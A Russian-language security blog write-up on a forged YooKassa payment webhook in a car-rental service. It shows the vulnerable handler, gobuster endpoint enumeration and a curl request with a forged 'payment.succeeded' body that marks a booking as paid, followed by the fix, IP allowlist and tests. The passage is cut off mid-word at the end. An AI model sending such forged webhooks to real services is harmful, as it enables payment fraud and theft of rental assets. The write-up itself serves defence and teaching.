CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Вебхук ЮKassa на честном слове: как один curl-запрос обнулял счёт за аренду авто

Разбираем находку планового аудита сервиса каршеринга: обработчик платёжного вебхука верил полю status в теле запроса, а не банку. Показываем, как это эксплуатируется, что реально проверяет ЮKassa на входящих уведомлениях и какой код закрыл дыру за один цикл.

Разбор CIOlogia
Вебхук ЮKassa на честном слове: как один curl-запрос обнулял счёт за аренду авто

Файл аудита датирован 5 июля 2026 года, фикс смержен 8 июля — три рабочих дня от находки до продакшена. Разберём случай глубже: где именно была ошибка, как её можно было эксплуатировать пошагово, и почему «цифровая подпись» в коротком объяснении для владельца бизнеса — это упрощение реального механизма, который стоит понимать точно.

Что искали и что нашли

Задача аудита — пройтись по цепочке «бронирование → оплата → подтверждение» и проверить, где сервис доверяет данным, которые теоретически может подделать пользователь. Платёжный контур обычно проверяется в первую очередь: там либо деньги, либо их имитация.

Сервис принимал уведомления об оплате на эндпоинт вида:

POST /payments/webhook/yukassa HTTP/1.1
Host: rent-service.example
Content-Type: application/json

{
  "event": "payment.succeeded",
  "object": {
    "id": "2d123abc-000f-5000-a000-1234567890ab",
    "status": "succeeded",
    "paid": true,
    "amount": {"value": "15000.00", "currency": "RUB"},
    "metadata": {"booking_id": "8841"}
  }
}

Обработчик, реконструированный по логике из отчёта, выглядел примерно так:

@app.post("/payments/webhook/yukassa")
def yukassa_webhook(request):
    data = request.json()
    if data["object"]["status"] == "succeeded":
        booking_id = data["object"]["metadata"]["booking_id"]
        mark_booking_paid(booking_id)
    return {"ok": True}

Проблема в одной строке: if data["object"]["status"] == "succeeded". Никакой проверки, что запрос действительно пришёл от ЮKassa. Ни сверки IP-адреса отправителя, ни обратного запроса к API платёжной системы для подтверждения статуса платежа по id. Классический CWE-345 — Insufficient Verification of Data Authenticity, в терминах OWASP API Security Top 10 это A08:2021 (Software and Data Integrity Failures) применительно к API.

Отдельно стоит зафиксировать техническую точность: у ЮKassa нет HMAC-подписи вебхука в теле или заголовках, как, например, у Stripe. Официальная рекомендация ЮKassa — проверять запрос по одному из двух способов: сверять IP-адрес отправителя со списком их технических подсетей (в частности 185.71.76.0/27, 185.71.77.0/27, 77.75.153.0/25, 77.75.156.11, 77.75.156.35, 77.75.154.128/25) либо, что надёжнее, делать обратный запрос к API ЮKassa: GET /v3/payments/{payment_id} с Basic Auth по shopId/secretKey и сверять статус, сумму и id заказа с тем, что пришло в вебхуке. В аудируемом сервисе не делалось ни то, ни другое — отсюда и упрощённая формулировка «подпись» в публичном разборе для нетехнической аудитории, а по факту закрывали именно отсутствие верификации источника и содержимого.

Как это эксплуатируется

Шаг 1 — найти эндпоинт. На реальном пентесте это делается брутфорсом типовых путей платёжных интеграций:

gobuster dir -u https://rent-service.example \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -x json -t 40

===============================================================
/payments               (Status: 200) [Size: 27]
/payments/webhook       (Status: 405) [Size: 0]
/payments/webhook/yukassa (Status: 405) [Size: 0]
===============================================================

405 на GET подтверждает, что путь существует и ждёт POST — типичный признак вебхук-хендлера. Дополнительно эндпоинт легко находится по паттерну в открытых JS-бандлах фронтенда или в публичной документации интеграции ЮKassa, где путь webhook часто называют предсказуемо.

Шаг 2 — создать легитимную бронь через обычный флоу сайта, чтобы получить реальный booking_id, но не оплачивать её.

Шаг 3 — отправить поддельное уведомление напрямую на вебхук, минуя ЮKassa вообще:

curl -X POST https://rent-service.example/payments/webhook/yukassa \
  -H "Content-Type: application/json" \
  -d '{
    "event": "payment.succeeded",
    "object": {
      "id": "fake-payment-0001",
      "status": "succeeded",
      "paid": true,
      "amount": {"value": "15000.00", "currency": "RUB"},
      "metadata": {"booking_id": "8841"}
    }
  }'

HTTP/1.1 200 OK
{"ok": true}

Ответ 200 OK и статус брони в личном кабинете мгновенно переключается на «оплачено». Никакого списания денег не произошло — запрос ушёл напрямую с ноутбука атакующего, а не из инфраструктуры ЮKassa. В логах nginx это выглядело бы так же безобидно, как обычный трафик:

10.20.30.40 - - [05/Jul/2026:14:12:03 +0300] "POST /payments/webhook/yukassa HTTP/1.1" 200 15 "-" "curl/8.4.0"

User-Agent curl/8.4.0 с не-российского или не платёжного IP — уже красный флаг, но без правила детекции на это никто не смотрит: запрос успешный, ответ 200, алертов нет.

Что и почему сработало бы дальше

Дальше атака масштабируется без всякой изощрённости:

  • Массовая бесплатная бронь. Скрипт из десятка строк перебирает свежесозданные booking_id и помечает их оплаченными пачкой — весь парк из 40 машин можно «выкупить» за минуты.
  • Невозврат автомобиля. Человек, изначально не планировавший платить, забирает машину — это уже не просто недополученная выручка, а прямой актив компании, который может не вернуться, плюс расходы на розыск, юристов, страховые случаи без покрытия аренды.
  • Индустриализация схемы. Тот же трюк легко продать как услугу — «бесплатная аренда» в тематических чатах, что резко увеличивает число одновременных фиктивных броней и делает инцидент публичным раньше, чем компания успеет среагировать.
  • Побочный DoS. Даже без злого умысла нагрузочный скрипт, повторяющий payment.succeeded по всем id подряд, может завалить эндпоинт запросами и создать проблемы с производительностью.

Ключевой момент: эксплуатация не требует ни SQL-инъекции, ни брутфорса паролей, ни обхода WAF — только знание одного публичного URL и структуры JSON, которую легко подсмотреть в документации ЮKassa или в перехваченном легитимном запросе через Burp Suite при обычном бронировании с реальной оплатой в один рубль.

Как закрыли

Фикс укладывается в несколько конкретных шагов, без миграции БД и без простоя.

1. Верификация источника через обратный запрос к API ЮKassa

import requests
from requests.auth import HTTPBasicAuth

def verify_payment(payment_id: str) -> dict:
    resp = requests.get(
        f"https://api.yookassa.ru/v3/payments/{payment_id}",
        auth=HTTPBasicAuth(SHOP_ID, SECRET_KEY),
        timeout=5,
    )
    resp.raise_for_status()
    return resp.json()

@app.post("/payments/webhook/yukassa")
def yukassa_webhook(request):
    data = request.json()
    payment_id = data["object"]["id"]

    # запрашиваем реальный статус у ЮKassa, а не берём его из тела запроса
    real_payment = verify_payment(payment_id)

    if real_payment["status"] != "succeeded":
        log_suspicious("status mismatch", payment_id)
        return {"ok": False}, 400

    booking_id = real_payment["metadata"]["booking_id"]
    expected_amount = get_booking_amount(booking_id)
    if real_payment["amount"]["value"] != expected_amount:
        log_suspicious("amount mismatch", payment_id)
        return {"ok": False}, 400

    mark_booking_paid(booking_id)
    return {"ok": True}

Теперь тело входящего запроса используется только как триггер «сходи и проверь», а не как источник истины. Даже если атакующий пришлёт идеальный поддельный JSON, сервер обратится к API ЮKassa за реальным payment_id, которого не существует — и получит 404.

2. IP-фильтрация на уровне nginx как второй эшелон

geo $yukassa_ip {
    default 0;
    185.71.76.0/27  1;
    185.71.77.0/27  1;
    77.75.153.0/25  1;
    77.75.156.11    1;
    77.75.156.35    1;
    77.75.154.128/25 1;
}

location /payments/webhook/yukassa {
    if ($yukassa_ip = 0) {
        return 403;
    }
    proxy_pass http://backend;
}

Это не заменяет проверку через API — IP-подсети можно подделать спуфингом за прокси, если инфраструктура не проверяет их корректно — но отсекает основную массу «дешёвых» попыток ещё до бизнес-логики.

3. Мониторинг подозрительных запросов

Уведомление в мессенджер владельцу настроили на каждое несовпадение статуса, суммы или на запрос с payment_id, которого нет в системе ЮKassa — то есть именно на попытку повторить трюк, а не на легитимный трафик.

4. Тесты на оба сценария

def test_webhook_rejects_forged_payment(client, mock_yukassa_api):
    mock_yukassa_api.get.return_value = {"status": "pending"}
    resp = client.post("/payments/webhook/yukassa", json=fake_payload("succeeded"))
    assert resp.status_code == 400
    assert get_booking_status(8841) != "paid"

def test_webhook_accepts_real_payment(client, mock_yukassa_api):
    mock_yukassa_api.get.return_value = real_payload("succeeded")
    resp = client.post("/payments/webhook/yukassa", json=real_payload("succeeded"))
    assert resp.status_code == 200
    assert get_booking_status(8841) == "paid"

Сознательно не тронули логику повторной обработки одного и того же payment_id — идемпотентность вебхука. Если ЮKassa по какой-то причине продублирует уведомление, бронь пометится оплаченной дважды без побочных эффектов, но не защищена от гонки состояний при параллельных запросах. Это отдельная, менее критичная задача: без проверки источника её чинить было бессмысленно, а делать одновременно с фиксом безопасности — увеличивать площадь регресса на проде перед высоким сезоном.

Что в итоге

Дыра не требовала эксплойтов из метасплойта или брутфорса паролей — только базовое понимание того, что вебхук-эндпоинты часто проектируют, думая о happy path, а не о том, что в тело запроса может прилетет